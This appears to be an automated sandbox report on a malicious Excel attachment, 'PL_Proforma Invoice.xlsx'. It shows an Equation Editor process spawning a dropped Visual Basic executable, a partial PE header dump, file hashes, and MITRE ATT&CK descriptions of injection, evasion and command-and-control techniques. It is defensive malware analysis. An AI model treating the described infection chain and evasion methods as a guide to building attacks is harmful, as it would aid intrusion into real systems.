55 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 40 01 00 00 40 00 00 00 00 00 00 64 13 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 90 01 00 00 10 00 00 f9 84 01 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 49 01 00 28 00 00 00 00 70 01 00 26 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 02 00 00 20 00 00 00 00 10 00 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 3e 01 00 00 10 00 00 00 40 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 15 00 00 00 50 01 00 00 10 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 26 19 00 00 00 70 01 00 00 20 00 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$IRichPEL%U@@dP@4I(p&8 .text>@ `.datahPP@.rsrc&p `@@IMSVBVM60.DLL

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1144 Parent PID: 584

General

Start time:	18:59:03
Start date:	21/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f620000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 2584 Parent PID: 584

General

Start time:	18:59:23
Start date:	21/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2816 Parent PID: 2584

General

Start time:	18:59:26
Start date:	21/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	3421EBB45A538C5044D484703448F2A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Antivirus matches:	Detection: 10%, Virustotal, Browse
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report PL_Proforma Invoice.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "PL_Proforma Invoice.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: EncryptedPackage, File Type: Applesoft BASIC program data, first line number 38, Stream Size: 2492568

General

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General

Network Behavior